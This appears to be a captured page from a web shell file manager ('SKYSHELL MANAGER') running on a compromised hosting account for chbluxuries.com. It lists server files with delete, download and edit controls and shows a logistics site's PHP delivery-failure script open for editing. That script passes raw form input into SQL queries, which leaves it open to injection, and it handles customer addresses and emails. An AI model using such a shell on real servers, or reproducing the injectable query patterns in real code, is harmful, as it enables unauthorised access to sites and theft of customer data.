📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5009.85 KB
0644
🗑️
⬇️
✏️
🔒
Editing: fail1.php
<?php $accpt_err = $er = $err1 = ""; $err1_ = $chk = $err2 = $err_msg = $err3 = $err3_ = $err4 = $err5 = $err6 = $err7 = $err8 = $err9 = $err10 = $err11 = $err12 = $err13 = $err4= $msg =""; $accpt_err=""; $success = ""; $success1 = ""; if (isset($_POST['sub'])) { $reas= $_POST['real']; $more= $_POST['sub']; $cid= $_POST['aid']; $fileName = basename($_FILES["fila"]["name"]); include "connect_to_mysqli.php"; $sql = "SELECT * from parcel where id = '$cid'"; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $orid = $row["id"]; $emails= $row['email']; $price= $row['coster']; $ada= $row['address']; $add= $row['adress']; $tem= $row['item']; $se= $row['size']; $dear= $row['date']; $named= $row['name']; $drv=$row['did']; } if($more=="") { $more="None"; } $imageUR='https://chblogistics.com/rider/evidence/'.$fileName; $force = "Failed"; if ($force=="Failed") { $submit = mysqli_query($con,"insert into fail(drid,id,fila_name,detail,more) VALUES ('$drv','$orid','".$fileName."','$reas','$more')") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE parcel SET status= '$force' where id='$orid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE parcel SET did= '' where id='$orid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE parcel SET dnum= '' where id='$orid'") or die ('Could not connect: ' .mysqli_error($con)); $insert = mysqli_query($con,"UPDATE parcel SET dname= '' where id='$orid'") or die ('Could not connect: ' .mysqli_error($con)); $statusMsg = ''; // File upload path $targetDir = "evidence/"; $fileName = basename($_FILES["fila"]["name"]); $targetFilePath = $targetDir . $fileName; $fileType = pathinfo($targetFilePath,PATHINFO_EXTENSION); if(isset($_POST["submit"]) && !empty($_FILES["fila"]["name"])){ // Allow certain file formats $allowTypes = array('jpg','png','jpeg','gif','pdf'); if(in_array($fileType, $allowTypes)){ // Upload file to server if(move_uploaded_file($_FILES["fila"]["tmp_name"], $targetFilePath)){ // Insert image file name into database $insert = mysqli_query($con,"INSERT into image (file_name,input, uploaded_on) VALUES ('".$fileName."','$drv', NOW())"); if($insert){ $statusMsg = "The file ".$fileName. " has been uploaded successfully."; }else{ $statusMsg = "File upload failed, please try again."; } }else{ $statusMsg = "Sorry, there was an error uploading your file."; } }else{ $statusMsg = 'Sorry, only JPG, JPEG, PNG, GIF, & PDF files are allowed to upload.'; } }else{ $statusMsg = 'Please select a file to upload.'; } // Display status message $imageUR = 'https://chblogistics.com/rider/evidence/'.$fileName; ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $msg = ""; $email_from="admin@chblogistics.com"; $email_to = "$emails"; $email_subject = "ORDER$orid Delivery Failed!"; $comments =" <center><div style='background-color:#000000; color:#FFFFFF; height:700px; width:500px;'> <div style='background-color:#000000; width:500px; height:150px;'> <p style='text-align:left;'> <img src='https://chblogistics.com/assets/img/apple-touch-icon.png' width='100px' height='60px;' style='margin-top:13px;'> <font color='#FFFFFF' style='float:right; font-size:15px; padding-right:6px; text-align:right; margin-top:13px;'>Total Cost: ₦$price <br>$dear</font></p> <p style='color:#FF339A; font-size:30px;'>Order Delivery Failed</p> </div> <p>Hello Dear $named,Your Order worth (₦)$tem of $se which was assigned to rider $driverid at the price of (₦$price) on $dear failed due to the fact that ($reas)<br> Reorder Now. (chblogistics.com/rent.php)</p> <p><table border='1px' bordercolor='#000000' cellpadding='10' style='color:#FFFFFF;' width='500px'> <tr style='border-bottom:#FFFFFF solid;'><td>More Details</td><td>$more</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>PickUp Address</td><td>$ada</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>Dropoff Address</td><td>$add</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>Tracking ID</td><td>$orid</td></tr> </table> </p> <p><img src='".$imageUR."' style='max-width:100%; max-height:100px;' /></p> <br><br> <p style='text-align:center;'><a href='chblogistics.com' style='color:#FF339A;'>CHBLogistics</a></p> </div></center> "; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message =""; $email_message .= " ". clean_string($user)."\n"; $email_message .= clean_string($comments)."\n"; // create email headers $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: admin@chblogistics.com' . "\r\n"; if(!@mail($email_to, $email_subject, $email_message, $headers)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>'; } ////////////////////////////////////////////End mail Function////////////////////////////////////////////////////////////// ///////////////////////////////// Mail Function started////////////////////////////////////////////////////////////////// $comments = $email_to = $email_subject = $email_from = $msg = ""; $email_from="admin@chblogistics.com"; $email_to = "admin@chblogistics.com"; $email_subject = "ORDER$orid Delivery Failed!"; $comments =" <center><div style='background-color:#000000; color:#FFFFFF; height:700px; width:500px;'> <div style='background-color:#000000; width:500px; height:150px;'> <p style='text-align:left;'> <img src='https://chblogistics.com/assets/img/apple-touch-icon.png' width='100px' height='60px;' style='margin-top:13px;'> <font color='#FFFFFF' style='float:right; font-size:15px; padding-right:6px; text-align:right; margin-top:13px;'>Total Cost: ₦$price <br>$dear</font></p> <p style='color:#FF339A; font-size:30px;'>Order Delivery Failed</p> </div> <p>Hello Admin,Order worth (₦)$tem of $se which was assigned to rider $driverid at the price of (₦$price) on $dear failed due to the fact that ($reas)<br> Reorder Now. (chblogistics.com/rent.php)</p> <p><table border='1px' bordercolor='#000000' cellpadding='10' style='color:#FFFFFF;' width='500px'> <tr style='border-bottom:#FFFFFF solid;'><td>More Details</td><td>$more</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>PickUp Address</td><td>$ada</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>Dropoff Address</td><td>$add</td></tr> <tr style='border-bottom:#FFFFFF solid;'><td>Tracking ID</td><td>$orid</td></tr> </table> </p> <p><img src='".$imageUR."' style='max-width:100%; max-height:100px;' /></p> <br><br> <p style='text-align:center;'><a href='chblogistics.com' style='color:#FF339A;'>CHBLogistics</a></p> </div></center> "; $email_message =""; $email_message .= " ". clean_string($user)."\n"; $email_message .= clean_string($comments)."\n"; // create email headers $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; $headers .= 'From: admin@chblogistics.com' . "\r\n"; if(!@mail($email_to, $email_subject, $email_message, $headers)){ echo '<center><font color="red">mail cannot be submitted now due to server problems, Please try again.</font></center>'; } ////////////////////////////////////////////End mail Function////////////////////////////////////////////////////////////// }} echo header("location:fape.php"); ?>
💾 Save Changes